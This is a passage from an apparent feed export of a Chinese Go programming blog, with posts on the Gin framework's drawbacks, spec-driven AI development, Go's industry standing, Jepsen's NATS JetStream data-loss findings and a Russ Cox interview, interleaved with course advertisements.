这是作者认为最严重的问题，也是将其比作“真菌”的核心原因。\n单向兼容性：你可以很容易地将一个标准的 http.Handler 包装成 Gin 的 handler。 无法逃离：但如果你想从 Gin 迁移回标准库，或者是迁移到其他框架（如 Chi, Echo），你会发现几乎不可能。因为你的业务逻辑已经深度耦合了 *gin.Context 中那 100 多个特有的方法。 正如 一位Reddit 用户所言：“如果你想不付出巨大的开发者纪律和克制，就在 Go 中实现‘按需付费’（只引入需要的依赖），那几乎是不可能的。Gin 让事情变得简单，所以人们就用了它，尽管方式很糟糕。”\n社区声音：不仅是批评，更是反思 Reddit 上的讨论为这场批判提供了更多元的视角：\n“标准库至上”派的胜利：许多用户表示，他们早已放弃 Gin，转而投向 Echo 或 Chi。Chi 因为其极简的设计（仅 1000 多行代码）和对标准库接口的严格遵守，被多次点名表扬。 对“中间件地狱”的共鸣：一名用户指出，虽然标准库很美，但它的中间件链和上下文处理确实不如框架方便。Gin 的成功在于它填补了标准库在人体工程学 (Ergonomics) 上的空白，尽管是以一种臃肿的方式。 初学者的陷阱：多位用户提到，AI（如 ChatGPT）往往会默认推荐 Gin 给新手，导致许多内部服务和 API 仅仅因为“AI 推荐”就染上了这种“真菌”。这加剧了 Gin 的锁定效应。 小结：我们还需要 Gin 吗？ Efron Licht 的批评固然犀利，但也存在幸存者偏差。对于初学者或快速原型开发来说，Gin 提供的“一站式”体验（路由、参数绑定、验证、JSON 序列化）确实极大地降低了门槛。\n然而，随着 Go 标准库的不断进化（特别是 Go 1.22 引入了增强的 http.ServeMux），以及像 Chi 这样更轻量且优秀的替代品的成熟，原生开发的体验已经今非昔比。\n给 Go 开发者的一些建议：\n对于新项目：建议评估 标准库 + Chi 或 Echo。它们提供了更好的模块化和更小的依赖负担。 对于已使用 Gin 的项目：不要恐慌，但要警惕。在编写 handler 时，尽量将 *gin.Context 限制在最外层，将业务逻辑抽离到与框架无关的 Service 层中。 警惕“便利性”陷阱：在引入任何“全家桶”框架之前，问自己一个问题：我引入的这 55MB 依赖，真的只是为了少写几行 if err != nil 吗？ Go 的哲学是“少即是多”。Gin 在某种程度上，是对这一哲学的背离。这篇文章虽然激进，但它是一记警钟，提醒我们在享受便利的同时，不要忘记了软件工程中那些关于复杂性、依赖管理和可维护性的永恒真理。\n资料链接：\nhttps://eblog.fly.dev/ginbad.html https://www.reddit.com/r/golang/comments/1pifcca/gin_is_a_very_bad_software_library/ 还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/12/gin-is-a-very-bad-software-library/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/gin-is-a-very-bad-software-library-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/12/gin-is-a-very-bad-software-library\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/12/gin-is-a-very-bad-software-library\"\u003ehttps://tonybai.com/2025/12/12/gin-is-a-very-bad-software-library\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“Gin 就像是一种伪装成软件库的阴险真菌：它很容易感染，一旦沾上就几乎无法去除，除非你极其小心，否则还会传染给你的朋友。”\u003c/p\u003e","title":"Gin 真的是“真菌”吗？—— 一篇引发热议的“反 Gin”檄文解读"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/12/talk-is-cheap-show-me-the-spec\n大家好，我是Tony Bai。\n在 IT 行业，有一句被奉为圭臬的名言，出自 Linux 之父 Linus Torvalds：\n“Talk is cheap, show me the code.”\n(废话少说，放码过来。)\n在过去的三十年里，这句话是绝对正确的。因为将人类的自然语言逻辑翻译成机器能运行的 C/C++/Go/Java 代码，是一项高难度、高成本的脑力劳动。代码，就是程序员的军功章，是能力的终极证明。\n但是，站在 2025 年末的今天，当我们看着 Claude Code 或 Cursor 在几秒钟内生成了数百行逻辑严密、注释清晰的代码时，你是否感觉到了一种微妙的价值观崩塌？\n如果生产代码变得像呼吸一样简单，那么“Show me the code”还足以证明你的价值吗？\n我认为，是时候修正这句话了。在 AI 原生开发时代，新的法则应该是：\n“Talk is cheap, show me the Spec.”\n(空谈廉价，请给我看你的规范说明书。)\n价值倒置：代码的通货膨胀 为什么说 Code 变得 cheap（廉价）了？这符合基本的经济学规律：供需关系。\n前 AI 时代： 代码的供给受限于程序员的打字速度和脑力带宽。优质代码是稀缺资源。 AI 时代： LLM 使得代码的供给趋近于无限。只要你给指令，AI 可以不知疲倦地生成无限吨位的代码。 当一个东西的供给变得无限时，它的价值就会无限趋近于零。\n现在，你随便找个实习生，配上 AI 工具，他也能给你 Show 出一大堆 Code。但这些 Code 是垃圾还是黄金？能不能跑？符不符合业务需求？\n这取决于“指令”的质量，而不是“代码”本身。\n权力的转移：从“实现” 到 “定义” 在传统的软件工程中，权重最高的是 Implementation（实现）。我们推崇那些能搞定复杂算法、能手写汇编的大神。\n但在 SDD (Spec-Driven Development) 兴起的当下，权力中心正在向 Definition（定义） 转移。\n什么是 Spec (Specification)？\n在 AI 时代，请务必注意：Spec 不再是那个单薄的 requirements.txt 或 README.md，它是广义的“全景蓝图（Blueprint）”。\n参考业界前沿的 SDD 规范（如 spec-kit / openspec），一个合格的、能让 AI 准确执行的 Spec，通常包含 “SDD 三件套”：\nThe Context (语境/需求) —— spec.md * **定义 “What \u0026amp; Why”**：业务逻辑是什么？输入输出接口定义（Interface）是什么？ * **核心要素**：用户故事、API 契约、非功能性约束（性能/安全）、领域知识（Domain Context）。 The Strategy (策略/架构) —— plan.md * **定义 “How”**：为了实现上述需求，我们需要修改哪些文件？数据流怎么走？ * **核心要素**：技术栈选择、文件变更拓扑图、伪代码（Pseudocode）、架构决策记录（ADR）。 The Execution (执行/进度) —— tasks.md * **定义 “Steps”**：将大象装进冰箱分几步？ * **核心要素**：原子化的任务清单（Atomic Checklist）。AI 每做完一步，就勾选一项。这能极大地降低 AI 的“遗忘率”和“幻觉率”。 Code 只是这套 Spec 的“编译产物”。\n这就好比建筑行业：当砌砖机器人都普及了，“砌砖”这个动作就不值钱了。值钱的是包含效果图（Spec）、结构图（Plan）和施工进度表（Tasks）在内的完整蓝图。\n我们可以用一张架构图来展示这个**“广义 Spec”**的结构：\n当你对 AI 说 “Show me the Spec” 时，你是在要求这三者的完整交付。 只有这样，AI 才能从一个“只会聊天的机器人”变成一个“使命必达的工程师”。\n新的开发范式：Show me your Spec 让我们对比一下两种开发者的对话模式：\n旧模式（Code-Centric）：\nA: “这个功能怎么做？”\nB: “你看我这几行代码（Show Code），我用了一个递归……”\n痛点： 陷入细节泥潭，难以维护，AI 容易写偏。\n新模式（Spec-Centric）：\nA: “这个功能怎么做？”\nB: “你看我的 Spec 文档（Show Spec）。我定义了数据结构，约束了异常处理流程，并列出了 5 个测试用例。然后我让 AI 实现了它。”\n优势： 逻辑闭环，架构清晰，AI 能够一次做对（One-shot Success）。\n在这个模式下，程序员的核心竞争力，从**“How to implement”（怎么写代码），变成了“How to define”**（怎么定义问题）。\n你能写出多么严谨、清晰、无歧义的 Spec，AI 就能给你多完美的代码。\nSpec 的精度，决定了系统的质量。\n小结：做架构师，别做打字员 Linus 说 “Talk is cheap”，是因为当年的 Talk 无法直接转化为生产力。\n但现在的 “Spec” 不是 cheap talk，它是可执行的指令（Executable Instructions）。\n在 AI 时代，请不要再沉迷于堆砌代码行数。\n把那些繁琐的实现交给 AI。\n你应该去思考架构，去定义边界，去编写 Spec。\n下一次，当有人还在炫耀他手写了多少代码时，请淡定地告诉他：\n“Code is cheap. Talk is cheap. Show me your Spec.”\n如何写出让 AI 听话的 Spec？\n道理大家都懂，但真到了实战中，很多人发现自己写的 Spec，AI 根本看不懂，或者生成的代码依然是一坨浆糊。\nSpec 也是一门编程语言，只不过它的编译器是 LLM。\n如果你想掌握这门**“面向 AI 的编程语言”，学会如何编写高质量的 Prompt 和 Spec 文档，构建一套基于 Claude Code 的自动化流水线，欢迎关注我的极客时间专栏《AI 原生开发工作流实战》**。\n在本专栏中，我将：\n定义标准： 公开我经过实战验证的 SDD (Spec-Driven Development) 文档模板。 实战演示： 展示如何用一份详实完备的Spec，指挥 AI 完成一个项目模块的开发、测试与部署。 思维升级： 帮你完成从 Coder 到 Architect 的关键跃迁。 别让你的才华浪费在廉价的代码实现上。扫描下方卡片，掌握定义未来的能力。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/12/talk-is-cheap-show-me-the-spec/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/talk-is-cheap-show-me-the-spec-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/12/talk-is-cheap-show-me-the-spec\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/12/talk-is-cheap-show-me-the-spec\"\u003ehttps://tonybai.com/2025/12/12/talk-is-cheap-show-me-the-spec\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 IT 行业，有一句被奉为圭臬的名言，出自 Linux 之父 Linus Torvalds：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e“Talk is cheap, show me the code.”\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e(废话少说，放码过来。)\u003c/p\u003e","title":"Linus 的名言要改了：Talk is cheap, show me the Spec"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/11/is-golang-still-a-growing-programming-language\n大家好，我是Tony Bai。\nGo 语言是否已经触到了天花板？在 Python 借力 AI 狂飙突进、Rust 备受追捧的今天，Go 的位置究竟在哪里？近日，Twitch工程师 Melkey 结合 JetBrains、Stack Overflow 以及 GitHub 的最新数据，发布了一份关于 Go 语言现状的深度分析。结论或许并不全是“好消息”，但却极其真实地反映了 Go 在工业界的稳固地位。\n谁在用 Go？—— “云原生土著”的画像 JetBrains 的年度报告揭示了 Go 开发者的主要分布领域。数据显示，排名前三的应用场景分别是：\nWeb 服务（无 GUI） 网站后端 云服务与基础设施 Melkey指出，尤其是第三点——云服务，最能代表 Go 的核心竞争力。这与行业内的普遍印象高度一致：专业的 Go 开发者往往不仅仅是在编写业务逻辑，更多时候是在与 Kubernetes 集群、微服务架构、CI/CD 管道以及各类 CLI 工具打交道。\n如果说 Python 是数据科学的通用语，那么 Go 已经牢牢确立了自己作为**“云时代 C 语言”**的地位——它是构建现代基础设施的首选工具。\n新手不再爱 Go？—— 一个值得注意的信号 在解读 Stack Overflow 2025 开发者调查时，Melkey敏锐地发现了一个略显尴尬的趋势。\n虽然在所有受访者中，Go 的使用率约为 16.4%，但在**“正在学习编程的人”**（Learning to Code）这一群体中，Go 的排名出现了显著下滑。绝大多数编程新手的入门首选依然是 Python 或 JavaScript。\n然而，这并不意味着 Go 的衰落。相反，数据显示，在**“专业开发者”**群体中，Go 的使用率上升到了 17%。\nMelkey分析认为，这意味着 Go 正逐渐成为一种**“第二语言”**。它不再是很多人的“初恋”语言，而是开发者在掌握了编程基础后，为了追求高性能、高并发和工程化能力而进阶选择的“成熟伴侣”。\n薪资高，但别被“头衔”骗了 分享中提到，在美国，Go 开发者的年薪上限可达 50 万美元，平均薪资也极具竞争力。\n但Melkey对此提出了冷静的见解。他指出，如果在 LinkedIn 等招聘平台上搜索，会发现纯粹招募“Golang Developer”的岗位并没有想象中那么多。大多数高薪岗位实际上招募的是**“资深后端工程师”或“云基础设施专家”**。\n这传递了一个明确的信号：市场不缺会写 if err != nil 的程序员，缺的是懂分布式系统、懂架构、能解决复杂问题，并且恰好使用 Go 作为工具的工程师。真正值钱的不是 Go 的语法，而是用 Go 解决工程问题的能力。\nTIOBE 排名下滑 vs GitHub 活跃度上升 数据层面出现了一个有趣的“冲突”。\n在老牌的 TIOBE 指数2025年11月份数据中，Go 从去年的第 7 名下滑至今年的 第 11 名，跌出了前十。这似乎是一个危险的信号。\n但如果转向 GitHub 的数据，Go 依然是开源项目活动增长最快的前三名语言（仅次于 Python 和 TypeScript）。GitHub 的趋势图显示，Go 的生态活跃度保持着陡峭的上升曲线，没有减速迹象。\nMelkey认为，TIOBE 可能反映了大众搜索的热度，但 GitHub 反映的是开发者用脚投票的结果。Go 的生态依然在蓬勃发展，只是不再像早期那样具有话题性和炒作度，而是进入了成熟期和深耕期。\nAI 时代：Go 是“铲子商”，不是“淘金者” 在 AI 席卷全球的当下，Go 的位置在哪里？Melkey给出了精准的定位：“Go 在构建 AI 基础设施方面表现出色，但缺乏原生的机器学习解决方案。”\nMelkey结合自己在 Twitch 构建 ML 基础设施的经历印证了这一点：在 AI 领域，Python 用于模型训练（得益于 PyTorch, TensorFlow 等库），而 Go 则用于部署模型、构建大规模并发的推理服务以及搭建底层的 ML 基础设施。\nGo 不会取代 Python 成为 AI 训练的语言，但在 AI 落地、服务化、工程化的“最后一公里”，Go 是绝对的主力。\n小结：Go 的未来是“稳态” 基于上述数据，Melkey给出了自己的最终结论：\nGo 不会消失，但也别指望它能像火箭一样再次爆发式增长。\n它不会取代 Python 或 TypeScript 成为统治一切的通用语言。它正在进入一个**“稳态”**。在云原生、后端服务和基础设施领域，Go 已经建立了坚不可摧的壁垒。对于追求职业发展的工程师而言，它依然是一个稳定、高效且回报丰厚的选择。\nGo 的未来，或许不再是“无处不在”，但注定是**“不可或缺”**。\n资料链接：https://www.youtube.com/watch?v=QjGduiCFHY4\n你的体感如何？\n数据是宏观的，但体感是微观的。\n在你所在的公司或团队，Go 语言的使用是在扩张还是收缩？你认为 Go 在 AI 时代最大的机会是什么？\n欢迎在评论区分享你的观察，让我们一起拼凑出更真实的 Go 生态图景！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/11/is-golang-still-a-growing-programming-language/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/is-golang-still-a-growing-programming-language-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/11/is-golang-still-a-growing-programming-language\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/11/is-golang-still-a-growing-programming-language\"\u003ehttps://tonybai.com/2025/12/11/is-golang-still-a-growing-programming-language\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言是否已经触到了天花板？在 Python 借力 AI 狂飙突进、Rust 备受追捧的今天，Go 的位置究竟在哪里？近日，\u003ca href=\"https://tonybai.com/2025/07/04/everything-i-did-to-become-an-expert-in-golang\"\u003eTwitch工程师 Melkey\u003c/a\u003e 结合 \u003ca href=\"https://tonybai.com/2025/11/14/the-go-ecosystem-in-2025/\"\u003eJetBrains\u003c/a\u003e、Stack Overflow 以及 GitHub 的最新数据，发布了\u003ca href=\"https://www.youtube.com/watch?v=QjGduiCFHY4\"\u003e一份关于 Go 语言现状的深度分析\u003c/a\u003e。结论或许并不全是“好消息”，但却极其真实地反映了 Go 在工业界的稳固地位。\u003c/p\u003e","title":"Go 跌出 TIOBE 前十？别被排名骗了，这才是它的真实地位"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/11/jepsen-report-nats-jetstream-data-loss-acknowledged-writes\n大家好，我是Tony Bai。\n近日，一则重磅消息在 Go 社区引发了不小的震动。分布式系统领域的“终极拷问者”——Jepsen——发布了一份针对 Go 生态中流砥柱级消息系统 NATS 及其子系统 JetStream 的深度分析报告。\n报告的结论是严峻的，甚至可以说是颠覆性的：在特定的、可复现的故障模式下，NATS JetStream 可能会丢失已经被服务器确认 (acknowledged) 并声称“已成功持久化”的数据。\n对于一个以持久化和可靠性为核心卖点的系统而言，这无异于一声惊雷。这份报告，对于所有正在使用或考虑使用 NATS JetStream 的 Go 开发者来说，都是一份必读的“警示录”。它深刻地揭示了在一个分布式系统中，“持久化”的承诺与现实之间的微妙鸿沟。\n背景科普：NATS 与 JetStream 是什么？ 在深入 Jepsen 的发现之前，让我们先快速了解一下今天的主角。\nNATS：是一个用 Go 语言编写的、开源、高性能的消息中间件。它以其极致的性能、简单的 API 和轻量级的设计，在 Go 社区乃至整个云原生领域享有盛誉。其核心（有时被称为 “Core NATS”）提供的是一种**“尽力而为” (best-effort)** 的消息传递，速度飞快，但不保证消息的持久性或送达。\nNATS JetStream：这是 NATS 的一个内置子系统，旨在为需要更高可靠性的场景提供解决方案。通过引入 Raft 共识算法，JetStream 在 NATS 的核心之上，构建了一个持久化的、可复制的日志（流）。它向用户承诺提供**“至少一次” (at-least-once)** 的消息传递保证——即已被确认的消息，不应丢失。\n正是 JetStream 的这份“不丢失”的承诺，成为了 Jepsen 本次“拷问”的核心目标。\n核心发现：“懒惰”的 fsync 默认策略 Jepsen 报告中最核心、也最具普遍警示意义的发现，在于 NATS JetStream 的默认 fsync 策略。\n问题根源：\nNATS JetStream 宣称，一旦客户端的 publish 请求被服务器确认，该消息就“已成功持久化”。然而，Jepsen 的测试发现，这并不完全准确。\n默认情况下，NATS JetStream 每两分钟才调用一次 fsync 将数据从操作系统的页面缓存 (page cache) 刷入物理磁盘。\n这意味着，在任何两次 fsync 之间，都存在一个长达两分钟的窗口期。在这段时间内，所有被服务器立即确认的写入，实际上只存在于内存中。\n后果是什么？\n如果在这两分钟的窗口期内，发生协调性的断电、内核崩溃、或多个节点快速连续地重启，那些仅仅存在于内存中的、已经被确认为“持久化”的数据，将永久丢失。\nJepsen 的测试通过一个名为 LazyFS 的工具，精确地模拟了这种“断电即失忆”的场景，并成功复现了数据丢失：在一个测试运行中，NATS 丢失了大约 30 秒的写入，共计 131,418 条已被确认的消息。\n与 Raft 理论的背离：\n这实际上与 Raft 论文的建议相悖。Raft 明确指出，节点在响应客户端之前，必须“将新的日志条目刷入 (flush) 它们的磁盘”。MongoDB, etcd, TiDB, Zookeeper 等其他基于共识的系统，都遵循了这一“先落盘，再确认”的原则。\nNATS 的选择，是一种典型的性能与持久性之间的权衡。通过异步 fsync，它获得了极高的写入吞吐量，但牺牲了对“灾难性事件”的防护能力。\nNATS 团队的回应：\nNATS 团队已经意识到了这个问题，并在文档中补充说明了这一风险。他们建议，对于需要更强持久性保证的用户，可以将 sync_interval 设置为 always，但这会将吞吐量降低到每秒几百条消息。\n更深层次的风险：文件损坏与脑裂 除了 fsync 的问题，Jepsen 还发现了几个在文件损坏场景下，可能导致更严重后果的漏洞。\n数据块 (.blk) 文件损坏导致大量数据丢失 Jepsen 发现，即使只是在一个 5 节点的集群中的少数节点上，对 JetStream 的数据块文件 (.blk) 引入单个比特位的错误或截断，也可能导致集群丢失大量已确认的写入，甚至出现数据分歧（脑裂）——不同的节点返回不同的消息集，整个流的数据变得像“瑞士奶酪”一样千疮百孔。\n在一个测试中，对两个节点的文件进行比特翻转，最终导致三个节点丢失了高达 78% 的已确认消息。\n快照 (snapshot) 文件损坏导致流被删除 更令人不安的是，当快照文件损坏时，一个节点可能会错误地认为某个流已经“孤立”(orphaned)，并做出删除该流所有数据的决定。在 Jepsen 的测试中，一个数据已损坏的节点，竟然成功地成为了集群的领导者，并立即删除了包含所有测试消息的流，导致了数据的完全丢失。\n这暴露了 NATS 在面对数据损坏时，其领导者选举和恢复机制的潜在脆弱性。\n一个单一的 OS 崩溃也可能导致数据丢失和脑裂 Jepsen 还设计了一个精巧的实验，证明在异步网络环境下，仅仅一次单节点的操作系统崩溃（模拟断电），就可能导致已提交写入的丢失和持久性的脑裂。\n场景复现：\nLeader 节点将一次写入复制给了 Follower A，并收到了确认。此时，写入在 Leader 和 Follower A 的内存中被认为是“已提交”的。 Leader 节点在将这次写入刷入磁盘之前，也还未成功复制给 Follower B 的时候，突然发生了 OS 崩溃。 Leader 节点重启后，它内存中那份“已提交”的写入已经丢失。 此时，集群中存在两个“干净”的节点（重启后的 Leader 和从未收到写入的 Follower B）。它们可以组成新的多数派，选举出新的领导者，并继续处理请求。 从这个新的多数派的视角看，那次丢失的写入仿佛从未发生过。 Jepsen 的测试成功地在 NATS 2.12.1 中复现了这一理论场景，并导致了持久性的副本分歧（脑裂）。\nGo 开发者的核心启示 这份报告，并非对 NATS 的“死刑判决”，而是一次深刻的、关于分布式系统复杂性的现实教育。对于 Go 社区的开发者，它至少带来了三点核心启示：\n魔鬼在默认配置中：永远不要盲目相信软件的默认配置。NATS JetStream 默认的sync_interval，是为了性能而优化的，而非持久性。你需要根据你的业务场景（是能容忍丢失少量近期数据，还是要求金融级别的“绝不丢失”），来审慎地做出权衡和配置。\n“已确认”不等于“已落盘”：在与任何分布式存储系统交互时，请仔细阅读其文档，搞清楚一个“成功的”写入响应，其背后的持久性承诺到底是什么级别的。是“已写入 Leader 内存”、“已写入多数派内存”，还是“已在多数派节点上 fsync 到磁盘”？这三者之间，差之毫厘，谬以千里。\n拥抱混沌工程：Jepsen 的工作方法，正是混沌工程思想的极致体现。它告诉我们，仅仅通过单元测试和集成测试，永远无法发现分布式系统在真实世界故障模式下的脆弱性。我们需要引入更复杂的、模拟真实世界混乱（网络分区、进程暂停、磁盘错误）的测试手段。\n小结 NATS 依然是一个出色、高性能的 Go 原生消息系统。Jepsen 的这份报告，如同一次严苛的“体检”，指出了它在追求极致性能的过程中，所做出的一些高风险权衡。对于我们 Gopher 而言，这不仅是一次了解 NATS 内部工作原理的机会，更是一堂关于如何批判性地思考、审慎地选择和配置我们所依赖的基础设施的必修课。\n资料链接：https://jepsen.io/analyses/nats-2.12.1\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/11/jepsen-report-nats-jetstream-data-loss-acknowledged-writes/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/jepsen-report-nats-jetstream-data-loss-acknowledged-writes-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/11/jepsen-report-nats-jetstream-data-loss-acknowledged-writes\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/11/jepsen-report-nats-jetstream-data-loss-acknowledged-writes\"\u003ehttps://tonybai.com/2025/12/11/jepsen-report-nats-jetstream-data-loss-acknowledged-writes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，一则重磅消息在 Go 社区引发了不小的震动。分布式系统领域的“终极拷问者”——\u003cstrong\u003eJepsen\u003c/strong\u003e——发布了一份\u003ca href=\"https://jepsen.io/analyses/nats-2.12.1\"\u003e针对 Go 生态中流砥柱级消息系统 NATS 及其子系统 JetStream 的深度分析报告\u003c/a\u003e。\u003c/p\u003e","title":"Jepsen 报告震动 Go 社区：NATS JetStream 会丢失已确认写入"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/10/russ-cox-interview-go-birth-evolution-future\n大家好，我是Tony Bai。\n他是 Go 语言的第二代掌门人，在长达十余年的时间里，引领着 Go 从一个内部实验项目，成长为云原生时代的霸主。他也是 Plan 9 的资深黑客，贝尔实验室精神的传承者。如今，他已将 Go 的帅印交给了下一代，转身投入到 AI 模型编码能力的研究中。\n他就是 Russ Cox。\n在 ACM ByteCast 的一场罕见的深度访谈中，Russ Cox 系统性地回顾了他从贝尔实验室的青葱岁月，到创立 Go 语言的初心，再到对 AI 时代编程语言未来的深刻思考。这既是一段个人回忆录，也是一部关于“如何构建持久的技术”的生动史诗，充满了值得每一位 Gopher 细细品味的智慧。\nGo 的“前传”——源自贝尔实验室的“简单”基因 Go 语言对“简单”的极致追求，并非凭空而来，它的种子早已在贝尔实验室和 Plan 9 操作系统的沃土中埋下。\nRuss Cox 的编程之旅，始于上世纪 90 年代末的贝尔实验室。作为一个高中生，他有幸在那个创造了 Unix 的传奇之地“厮混”，与 Brian Kernighan, Rob Pike, Ken Thompson, Dennis Ritchie 这些“上古巨神”一同午餐、交流。\n“贝尔实验室和 Plan 9 给我最深刻的印记，就是对构建真正简单的事物的执着。那里的人们，那是一个小团队，他们在做着雄心勃勃的事情，而完成它们的最好方式，就是从简单的事情开始，构建那些真正坚固可靠的简单事物。”\n这段经历，为他注入了“简单”的 DNA。然而，当他进入 MIT 读研时，他第一次遭遇了“现代 C++”的“恐怖与复杂”。他被当时的业界现状所震惊：多线程不可靠、异步回调横行…… 这让他深信：“一定有更好的方式。”\nGo 的“创世纪”——“让我们做点让自己开心的事” 2008 年春天，当 Russ Cox 结束学业，准备进入工业界时，已经先行加入 Google 的 Rob Pike, Robert Griesemer 和 Ken Thompson 向他发出了邀请，他们正准备全职启动一个新语言项目。\n这个项目的初心，极其纯粹和个人化。\n“我们都曾在 Google 写过大量的 C++ 程序……我们只是再也不想写那种代码了。我们受够了。我们知道有更好的方式，并且我们确信能把它带给 Google 的工程师们。”\n“我们想解决的问题是，我们想构建一个能让我们在 Google 开心地编写程序的系统。”\nGo 语言的诞生，并非一次自上而下的战略规划，而是一场由几位顶尖工程师发起的、旨在解决自身痛苦的“自救运动”。他们见识过更好的开发环境（Plan 9, Modula-3, Smalltalk），他们无法忍受现代 C++ 的复杂性。Russ Cox 甚至坦言：“说实话，我当时愿意付钱换取和他们一起工作的机会，而 Google 反而付钱给我。这对我来说是双赢。”\nGo 的“演进哲学”——稳定压倒一切 从 Plan 9 的“无人问津”，到 Go 的巨大成功，Russ Cox 对开源社区的建设和语言的演进，有着极其深刻的理解。他认为，Go 的成功，很大程度上源于其对**“稳定”**的执着。\n“进步可以有多种形式，一种是不稳定的进步，一种是稳定的进步。我们竭尽全力去寻找稳定的形式，而这通常意味着做得比人们要求的更少，但同时又能让他们解决自己的问题。”\n他举了 go test 与 JUnit XML 格式集成的例子。社区曾强烈要求 go test 直接输出 JUnit 格式的 XML。但 Go 团队拒绝了，因为他们不想成为一个复杂 XML 格式的“专家”和“维护者”。\nGo 